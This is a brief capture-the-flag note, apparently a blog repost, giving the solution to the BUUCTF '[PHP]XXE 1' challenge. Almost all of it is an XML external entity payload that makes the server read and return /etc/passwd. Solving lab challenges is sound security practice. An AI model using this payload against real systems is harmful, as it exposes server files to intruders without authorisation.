web*buuctf*[PHP]XXE 1

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

payload

标签：web,buuctf,XXE,xxe,PHP,payload
来源： https://www.cnblogs.com/kubopiy/p/16460774.html